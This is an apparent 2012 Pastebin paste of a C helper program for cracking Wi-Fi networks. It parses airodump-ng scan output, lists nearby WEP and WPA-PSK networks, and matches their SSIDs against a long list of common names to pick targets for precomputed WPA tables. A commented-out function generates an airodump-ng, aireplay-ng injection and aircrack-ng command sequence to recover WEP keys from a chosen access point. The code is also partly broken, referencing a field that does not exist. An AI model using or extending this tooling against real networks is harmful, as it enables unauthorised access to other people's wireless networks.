This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Jul 14th, 2012  |  syntax: None  |  size: 16.42 KB  |  views: 194  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #define MAX 356
  5.  
  6. typedef struct {
  7.  
  8.    char mac[18];
  9.    int pwr;
  10.    int chan;
  11.    char name[32];
  12.    //0 - WEP
  13.    //1 - WPA
  14.    int flag;
  15. }w;
  16. w net[32];
  17. char *topname[30000] ={"linksys","default","NETGEAR","Wireless","WLAN","Belkin54g","MSHOME","home","hpsetup","smc","tsunami","ACTIONTEC","orange","USR8054","101","tmobile","SpeedStream","linksys-g","3Com","WaveLAN Network","Wayport_Access","hhonors","pi07490509x","pi07490509x09","Motorola","SST-PR-1","ANY","eurospot","188ALT","Gateway",
  18.    "HomeNet","GoldenTree","SITECOM","ConnectionPoint","Philips WiFi","Customer ID","PCX5000","arescom","Wireless Network","Office","Blitzz","Airport","INTERMEC","freedomlink","MSFTWLAN","MIT","Untitled","GlobalSuiteWireless","Cox-Hospitality","NESPOT","DLINK","Home Network","USR8022","WLCM","RGXLPQSNGBNYVRAK","188","bestbuy","airportthru","130","workgroup","mobile","HomeOffice","test","fa1779zvpo","Harvard University","72653","HOMENETWORK","USR9106","linksys1","NETWORK","My Wireless Network A","5ECUR3w3p5TOR3","conexant","SMARTSIGHT","Guest","0CP2REDS0X","public","Truckstop.neT","D-LINK","UBC","G604T_WIRELESS","matrix","goesh","Topcom","stayonline","fanTM","d","BNDEMO","Intel Gateway","IU Wireless","etwireless","HomeRun","140","Thomson","AP_Router","roomlinx","SpeedLinks","Verizon Wi-Fi","WiFi","Internet","linksys2","STSN","mike","medion","d0llartree1nc","FDSSEC","CPSWIRELESS","router","USR5462","david","Homestead",
  19.    "Thuis","NETGEAR_11g","benq","Comcast","john","net","House","flyingj","WLAN-AP","HomeWireless","home wireless","Ethostream","usr2249","Chris","Private","g3n3r1cw8p","cuairnet","west","T-Mobile_T-Com","RCA","holidayinn","V1500","steve","KC_LV_2003","Wireless1","WLAN-PS","homebase","BWA711","My Network","sonicwall","bridge","IBM","CMU","PwC80211","mycloud","home1","Michael","Belkin","Scott","bob","TELUS","asu","USR5450","cvsretail","laptop","AZRF","mark","FRITZ!Box Fon WLAN","utexas","AT&T","COMPAQ","buffalo","LODGE","FRITZ!Box SL WLAN","Skynet","SkyHighSpeed","hawking","122","Pal","My Wireless Network B","linksys123","ZyXEL","CapCBR","PASSYM","ap","Robert","defcon","GlobalSync","Family","3blindmice","hp","airport network","TI-AR7WRD","Air2Data","tigernet","PANERA","netpoint","BTOpenzone","Brian","homelan","datavalet","intelwlan","72654","TA","Kevin","WRC_Network","STSN_Conf","OMNI","Jason","jeff","RoamAbout Default Network Name","James","On-Net",
  20.    "airpath","dgs769157","typhoon","myhome","Telenor Mobil WLAN","mywlan","DaysInn","Apartment","PWLAN1","mynetwork","philips","default-ssid","11g AP","Apple Network","1cst0ck8","pennstate","UPSTAIRS","george","Dave","WAG0Nwhee1","surfhere","GPCSTORE","vodafone","Paul","casa","2","04PPk99","123","smith","FRITZ!Box Fon WLAN 7050","CISCO","IEEE 802.11b LAN","laquinta","Spark","CEDSAP","0 Unknown","Instant Internet","joe","KPN","@home","Miller","link","AirWave","comfortinn","tom","acer","ap1","LiteShow","TEKLOGIX","ssid","johnson","MU-WIRELESS-LITE",
  21.    "EASE","Apple","Blue","skyriver","freedom","peter","Vanilla","IEEE 802.11 LAN","mywireless","SiriCOMM","thomas","LockOn","sboca","Wingate","brown","visitor","Heb1905","fred","111","FG04Apr06MBS","comfort","hyatt","Alex","turbonet","monkey","Jim","nowireapaccess","Webstar","Main","martin","Richard","Home Office","eric","tony","RTC","jah719","Matt","bill","yale wireless","BSU","HOMEWLAN","scandic_easy","RYAN","pi07490509xsa","TELENETHOTSPOT","WNR2004","WANO","AT&T Wireless","Stanford","wirelesslan","frank","AP7XR","HBS","mine","1","University of Washington","Access","Williams","HotSpot",
  22.    "SILENTWITNESS","UCSD","ea54","Andrew","HotelAir","WORK","Sam","taylor","Super8","GoAway","ASAP","hwtvm","homer","Gary","TI","fatport","Kelly","2WIRE618","2WIRE567","linksysxx","2WIRE550","cavalier","2WIRE784","WSR-5000","WirelessNet","digitalpath.net","2WIRE555","102","wirelesshome","belgacom","2WIRE467","kaisicher","JONES","2WIRE836","2WIRE658","2WIRE645","2WIRE215","2WIRE326","2WIRE264","2WIRE872","2WIRE544","2WIRE510","larry","GTW","DAN","anderson","2WIRE623","2WIRE329","2WIRE272","2WIRE212","2WIRE426","tdc","2WIRE808","2WIRE577","2WIRE565","2WIRE184","mynet","Lee","ELSA","Draadloos","2WIRE945","virus","studio","maison",
  23.    "2WIRE860","2WIRE646","^Y","UofM Wireless","getwifi","AISD-GUEST","2WIRE756","2WIRE358","2WIRE067","2WIRE790","2WIRE690","2WIRE608","2WIRE558","2WIRE433","signNet","Library","2WIRE279","2WIRE270","2WIRE233","2WIRE173","holiday","2WIRE859","2WIRE663","2WIRE569","2WIRE328","2WIRE191","2WIRE814","2wire783","2WIRE651","2WIRE283","tim","Lucent Outdoor Router","Agere Systems","2WIRE973","2WIRE589","2WIRE463","2WIRE438","2wire420","2WIRE353","2WIRE247","2WIRE153","cci","2WIRE913","2WIRE852","2WIRE670","2WIRE622","2WIRE597","2WIRE369","2WIRE224","2WIRE126","onenet","2WIRE432","2WIRE285","2WIRE239","2WIRE094","2WIRE083","2WIRE029","wilson","2WIRE975","2WIRE708","2WIRE453","2WIRE447","2WIRE366","2WIRE339","2WIRE317","2WIRE057","2WIRE817","2WIRE760","2WIRE677","2WIRE654","2WIRE509","2WIRE370","2WIRE232","2WIRE140","2WIRE038","2WIRE025",
  24.    "SurfandSip","pvdorm","Kimpton","2WIRE990","2WIRE951","2WIRE572","2WIRE475","2WIRE411","2WIRE377","2WIRE365","2WIRE220","2WIRE093","2WIRE907","2WIRE535","2WIRE451","2WIRE294","2WIRE234","2WIRE106","2WIRE096","Holiday Inn","ba2","2WIRE914","2WIRE789","2WIRE341","2WIRE307","2WIRE298","2WIRE135","poswireless","Netgear1","2WIRE879","2WIRE842","2WIRE710","2WIRE596","2WIRE595","2WIRE437","2WIRE428","2WIRE405","2WIRE256","2WIRE041","2WIRE923","2WIRE856","2WIRE672","2WIRE478","2WIRE454","2WIRE367","2WIRE354","2WIRE303","2WIRE253","2WIRE176","2WIRE151","2WIRE043","2WIRE998","2WIRE967","2WIRE741","2WIRE732","2WIRE711","2WIRE586","2WIRE417","2WIRE373","2WIRE356","2WIRE181","2WIRE138","2WIRE118","2WIRE074","2WIRE061","suitespeed","2WIRE952","2WIRE944","2WIRE864","2wire722","2WIRE653","2WIRE581","2WIRE541","2wire468","2WIRE383","2WIRE347","2WIRE315","2WIRE275","2WIRE226","2WIRE225","2WIRE158","2WIRE142","2WIRE007",
  25.    "HotelNet","GeorgeAP22","AMAT_Prod","2WIRE930","2WIRE668","2WIRE616","2WIRE524","2WIRE442","2WIRE424","2WIRE340","2WIRE235","2WIRE186","2WIRE182","JACK","airnet","7590000001","2WIRE925","2WIRE919","2WIRE818","2WIRE800","2WIRE753","2WIRE704","2WIRE701","2WIRE598","2WIRE588","2WIRE579","2WIRE563","2WIRE449","2WIRE378","2WIRE309","2WIRE252","2WIRE250","2WIRE197","2WIRE175","2WIRE100","ITS Wireless","airimba","2WIRE918","2WIRE911","2WIRE896","2WIRE867","2WIRE787","2WIRE785","2WIRE755","2WIRE624","2WIRE593","2WIRE564","2WIRE430","2WIRE400","2WIRE391","2WIRE313","2WIRE305","2WIRE266","2WIRE148","2WIRE145","2WIRE144","2WIRE116","2WIRE092","X-Micro","Green","dnawlan","andy","alpha","2WIRE788","2WIRE552","2WIRE528","2WIRE518","2WIRE515","2WIRE471","2WIRE431","2WIRE418","2WIRE348","2WIRE330","2WIRE318","2WIRE280","2WIRE268","2WIRE254","2WIRE240","pi07490509x09sa","2WIRE992","2WIRE891","2WIRE717","2WIRE700","2WIRE652","2WIRE587","2WIRE560","2WIRE533",
  26.    "2WIRE484","2WIRE414","2WIRE385","2WIRE376","2WIRE371","2WIRE104","2WIRE080","2WIRE048","2WIRE018","davis","B2B","arwain.net","2WIRE950","2WIRE929","2WIRE874","2WIRE846","2WIRE793","2WIRE792","2WIRE674","2WIRE591","2WIRE519","2WIRE335","2WIRE312","2WIRE274","2WIRE204","2WIRE179","2WIRE113","2WIRE111","2WIRE099","2WIRE077","2WIRE072","2WIRE854","2WIRE754","2WIRE752","2WIRE724","2WIRE720","2WIRE707","2WIRE689","2WIRE603","2WIRE553","2WIRE485","2WIRE455","2WIRE415","2WIRE249","2WIRE218","2WIRE213","2WIRE200","2WIRE079","2WIRE053","2WIRE047","2WIRE030","hilton","2WIRE962","2WIRE889","2WIRE884","2WIRE771","2WIRE718","2WIRE688","2WIRE665","2WIRE655","2WIRE647","2WIRE620","2wire619","2WIRE606","2WIRE600","2WIRE584","2WIRE583","2WIRE566","2WIRE546","2WIRE538","2WIRE474","2WIRE360","2wire304","2WIRE293","2WIRE292","2WIRE262","2WIRE261","2WIRE188","2WIRE150","2WIRE064","2wire046","2WIRE044","charlie","2WIRE941","2WIRE833","2wire746","2WIRE709","2WIRE680","2WIRE667","2WIRE656","2WIRE635","2WIRE627","2WIRE617","2WIRE612","2WIRE611","2WIRE590","2WIRE548","2WIRE514","2WIRE506","2wire429","2WIRE427","2WIRE422","2WIRE355","2WIRE316","2WIRE284","2WIRE227","2WIRE193","2WIRE171","2WIRE168","2WIRE157","2WIRE132","2WIRE089","2WIRE085","2WIRE068","2WIRE059","mcsy","Barney","2WIRE985","2WIRE940","2WIRE886","2WIRE885","2WIRE825","2WIRE801","2WIRE739","2WIRE726","2WIRE706","2WIRE693","2WIRE683","2WIRE657","2WIRE632","2WIRE615","2WIRE582","2WIRE531","2WIRE529","2WIRE497","2WIRE441","2WIRE425","2WIRE368","2WIRE361","2WIRE337","2WIRE301","2WIRE282","2WIRE271","2WIRE169","2WIRE065","Galaxy","Baymont","2WIRE984","2WIRE961","2WIRE826","2WIRE795","2wire794","2WIRE774","2WIRE773","2WIRE714","2WIRE698","2WIRE687","2WIRE517","2WIRE498","2WIRE495","2WIRE444","2WIRE443","2WIRE392","2wire384","2WIRE336","2WIRE311","2WIRE222","2WIRE172","2WIRE146","2WIRE110","STOPS","jennifer","gigabyte","2WIRE964","2WIRE935","2WIRE878","2WIRE861","2WIRE778","2WIRE750","2WIRE678","2WIRE675","2WIRE639","2WIRE513","2WIRE501","2WIRE476","2WIRE394","2WIRE345","2WIRE199","2WIRE159","2WIRE032","greg","2WIRE908","2WIRE866","2WIRE738","2WIRE686","2WIRE642","2WIRE539","2WIRE516","2WIRE408","2WIRE333","2WIRE300","2WIRE277","2WIRE263","2WIRE241","2WIRE206","2WIRE115","2WIRE095","2WIRE997","2WIRE937","2WIRE926","2WIRE837","2WIRE810","2WIRE744","2WIRE659","2wire633","2WIRE545","2WIRE532","2WIRE526","2WIRE393","2WIRE363","2WIRE352","2WIRE346","2WIRE324","2WIRE291","2WIRE286","2WIRE259","2WIRE208","2WIRE196","2WIRE187","2WIRE147","2WIRE125","2WIRE070","wxyz","Home AirPort","CONNECT2AIR","2WIRE991","2WIRE955","2WIRE927","2WIRE768","2WIRE737","2WIRE684","2WIRE669","2WIRE621","2WIRE551","2WIRE488","2WIRE470","2WIRE435","2WIRE413","2WIRE295","2WIRE260","2WIRE255","2WIRE210","2WIRE185","2wire129","2WIRE050","nuwlan","2WIRE995","2WIRE979","2WIRE921","2WIRE906","2WIRE850","2WIRE841","2wire824","2WIRE766","2WIRE751","2WIRE723","2WIRE648","2WIRE640","2WIRE614","2WIRE481","2WIRE472","2WIRE459","2WIRE436",
  27.    "2WIRE390","2WIRE382",
  28.    "2WIRE374","2WIRE364","2WIRE323","2WIRE290","2WIRE281","2WIRE141","2WIRE133","2WIRE114","2WIRE108","2WIRE069","2WIRE045","2WIRE009","nowires","2WIRE948","2WIRE902","2WIRE828","2WIRE820","2WIRE743","2WIRE735","2WIRE610","2WIRE507","2WIRE456","2WIRE439","2WIRE319","2WIRE299","2WIRE178","2WIRE103","2WIRE066","2WIRE051","2WIRE005","Regency","LISA","2WIRE976","2WIRE898","2WIRE895","2WIRE882","2WIRE875","2WIRE834","2WIRE699","2WIRE681","2WIRE592","2WIRE576","2WIRE537","2WIRE521","2WIRE511","2WIRE410",
  29.    "2WIRE325","2WIRE308","2WIRE273","2WIRE269","2WIRE237","2WIRE217","2WIRE203","2WIRE177","2WIRE042","2WIRE037","2WIRE036","2WIRE031","2wire021","UIUCnet","2WIRE965","2WIRE957","2WIRE946","2WIRE943","2WIRE931","2WIRE873","2WIRE857","2WIRE839","2WIRE835","2WIRE822","2WIRE807","2WIRE747","2WIRE712","2WIRE692","2WIRE682","2WIRE679","2WIRE605","2WIRE599","2WIRE559","2WIRE508","2WIRE496","2WIRE490","2WIRE452","2WIRE450","2WIRE434","2WIRE419","2WIRE401","2WIRE398","2WIRE372","2WIRE331","2WIRE238","2WIRE130","2wire122","2WIRE088","2WIRE060"};
  30. char nfile[200];
  31. /*
  32.    int crack(w* net){
  33.    
  34. //airodump-ng -w wep -c # --bssid INPUT mon0&
  35. //aireplay-ng -1 0 -a INPUT -h 00:11:22:33:44:55 -e SSID  mon0
  36. //aireplay-ng -3 -b INPUT -h 00:11:22:33:44:55 mon0&
  37. FILE *fp;
  38. FILE *fp1;
  39. FILE *fp2;
  40. FILE *fp3;
  41.  
  42. fp = fopen("airodump", "w");
  43. fp1 = fopen("aireplay", "w");
  44. fp2 = fopen("aireplay1", "w");
  45. fp3 = fopen("aircrack", "w");
  46. if ((fp == NULL) || (fp1==NULL) || (fp2==NULL) || (fp3==NULL) )  {
  47. printf("I couldn't open for writing.\n");
  48. exit(0);
  49. }
  50.  
  51. fprintf(fp, "airodump-ng -w wep -c %d --bssid %s mon0 &", net->nums[3],net->mac);
  52. fclose(fp);
  53. printf("\nThe following was written to file 'airodump-ng'\nairodump-ng -w wep -c %d --bssid %s mon0 &", net->nums[3],net->mac);
  54.  
  55.  
  56. fprintf(fp1,"aireplay-ng -1 0 -a %s mon0 &",net->mac);
  57. fclose(fp1);
  58. printf("\nThe following was written to file 'aireplay'\naireplay-ng -1 0 -a %s mon0",net->mac);
  59.  
  60.  
  61. fprintf(fp2,"aireplay-ng -3 -b %s mon0 &",net->mac);
  62. fclose(fp2);
  63. printf("\nThe following was written to file 'aireplay1'\naireplay-ng -3 -b %s mon0 &",net->mac);
  64.  
  65.  
  66. fprintf(fp3,"aircrack-ng -b %s wep-01.cap | grep KEY",net->mac);
  67. fclose(fp3);
  68. printf("\nThe following was written to file 'aircrack'\naircrack-ng -b %s wep-01.cap | grep KEY &",net->mac);
  69.  
  70.  
  71.  
  72. return 0;
  73. }
  74.  
  75.  */
  76. int printdata (int y, w net[],int flag){
  77.    int x;
  78.    int tt;
  79.    if(y==0)
  80.       return 1;
  81.    x=y;
  82.    for(y=1;y<=x; y++)
  83.    {
  84.       //if(y==0)
  85.       // printf("\nCLOSEST NETWORK",y);
  86.       printf ("%d.\tNetwork Name: %s\n",y,net[y].name);
  87.          if(net[y].flag==0)
  88.             printf("\tEncryption: WEP\n");
  89.          else if(net[y].flag==1)
  90.          {
  91.             printf("\tEncryption: WPA-PSK ");
  92.             for(tt=0;tt<1000;tt++)
  93.            
  94.             {
  95.                //printf("%s",topname[tt]);
  96.                if(topname[tt]!=NULL)
  97.                if(strcmp(net[y].name,topname[tt])==0)
  98.                {
  99.                   tt=0;
  100.                   break;
  101.                }
  102.             }  
  103.                if(tt==0)
  104.                   printf("(Common SSID-do not generate WPA table)\n");
  105.                else
  106.                   printf("(Requires generating own WPA Tables)\n");
  107.          }  
  108.          else
  109.             printf("\tUnfamiliar encryption scheme\n");
  110.       //printf("BSSID(mac):%s\n",net[y].mac);  
  111.       printf("\tPower(lower is better):%d\n",net[y].pwr);
  112.          //printf("Channel:%d\n",net[y].chan);
  113.          printf("--------------------------------------------------------------------\n");
  114.          if((y>4) && (flag==0))
  115.             break;
  116.    }
  117.    return 0;
  118. }      
  119. int compare(int a, int b)
  120. {
  121.    if(a>b)
  122.       return -1;
  123.    else if(a<b)
  124.       return 1;
  125.    else
  126.       return 0;
  127. }
  128.  
  129. void insertval(w arr[],int size)
  130. {
  131.    int i;
  132.       int j;
  133.       w x;
  134.      
  135.       for(i=0;i<=size;i++)
  136.       {
  137.          x=arr[i];
  138.             for(j=i;j>0&&compare(x.pwr,arr[j-1].pwr)<0;j--){
  139.                arr[j]=arr[j-1];
  140.             }
  141.          arr[j]=x;
  142.       }
  143. }
  144. int main(int argc, char *argv[]){
  145.    int x,y,z,choice,flag;
  146.    y=0;
  147.       choice=0;
  148.       z=0;
  149.       x=0;
  150.       strcpy(nfile,argv[1]);
  151.       printf("Reading %s\n",nfile);
  152.       y=parse();
  153.    printf("Finished parsing\n");
  154.       insertval(net,y);
  155.       z=printdata(y,net,0);
  156.       if(!(y>1)){
  157.          printf("%d record(s) read\nQuitting!\n",y);
  158.          printf("Check your file is a valid .CSV\n");
  159.          return 0;
  160.       }
  161.  
  162.    while (1)
  163.    {
  164.       printf("To begin cracking a network, enter 1.\n");
  165.          printf("To print the entire list of networks, enter 2.\n");
  166.          printf("To quit the program, enter -1.\n");
  167.          printf("Enter choice: ");
  168.          choice = 0;
  169.          scanf("%d", &choice);
  170.          if(choice== -1)
  171.          {
  172.             printf("Good-bye!.\n");
  173.                exit(0);
  174.          }  
  175.       if(choice==1)
  176.       {
  177.          printf("Enter # of encrypted network you want to crack.");
  178.             scanf("%d",&flag);
  179.             //crack(&net[flag]);
  180.             break;
  181.       }
  182.       if(choice==2)
  183.       {
  184.          printdata(y,net,1);
  185.       }
  186.       if (choice != -1  && choice != 2 && choice != 1)
  187.       {
  188.          printf ("Invalid choice, try again\n");
  189.             continue;
  190.       }
  191.    }
  192.    
  193.       printf("\nContinuing to greatness\n");
  194.       return(0);
  195. }
  196. int parse(void){
  197.    // file pointer
  198.    FILE *fp;
  199.    int flag=1;
  200.    // temporarily holds the word on each line so it can be compared
  201.    char* str;
  202.    char str1[500];
  203.    char str2[500];
  204.    int num=0;
  205.    // contains the line before and after it is mangled
  206.    // saves the unmangled line
  207.    // saves the longest
  208.    char line[500],line1[200],longestline[200];
  209.    // counters for number of lines, number of characters, number of words, etc
  210.    int numlines=0,i,longest=0,wordCount=0;
  211.    i=0;
  212.    int nl_count=0;
  213.    int l;
  214.  
  215.    /* opens files*/
  216.    fp=fopen(nfile,"r");
  217.    if(fp==NULL)
  218.       {
  219.          perror("");
  220.          exit(0);
  221.       }
  222.    /* To loop through the entire file, going only 100 characters into each line,
  223.     *  until null is reached
  224.     *  Stores the current line of the file in line
  225.     */
  226.    num=0;
  227.    while(fgets(line,500,fp)!=NULL){
  228.       if(line[0]<32)
  229.       {
  230.          /*finished parsing file*/
  231.          break;
  232.       }
  233.       i=0;
  234.       //printf("%s\n",line);
  235.       // removes commas and newline character
  236.       str=strtok(line,",");
  237.  
  238.       do{
  239.          if(str!=NULL)
  240.          {
  241.             //printf("STR: %s\n",str);
  242.             if(i==0)
  243.                strcpy(net[num].mac,str);
  244.             //printf("BSSID: %s\n",str);
  245.             if(i==3)
  246.                net[num].chan=atoi(str);
  247.             //printf("Channel: %s\n",str);
  248.             if(strcmp(str,"WEP")==0)
  249.                net[num].flag=0;
  250.             //printf("Encryption: %s\n",str);
  251.             if(strcmp(str,"PSK")==0)
  252.                net[num].flag=1;;
  253.             //printf("Encryption: WPA2-%s\n",str);
  254.             if(str[0]=='-')
  255.                net[num].pwr=atoi(str);
  256.             //printf("Power: %s\n",str);
  257.  
  258.             strcpy(str2,str1);         
  259.             strcpy(str1,str);          
  260.             if(!(str=strtok(NULL,",")))
  261.             {
  262.                strcpy(net[num].name,str2);
  263.             }
  264.             i++;
  265.          }
  266.  
  267.       }while(str);
  268.       num++;
  269.    }
  270.    return num;
  271. }
clone this paste RAW Paste Data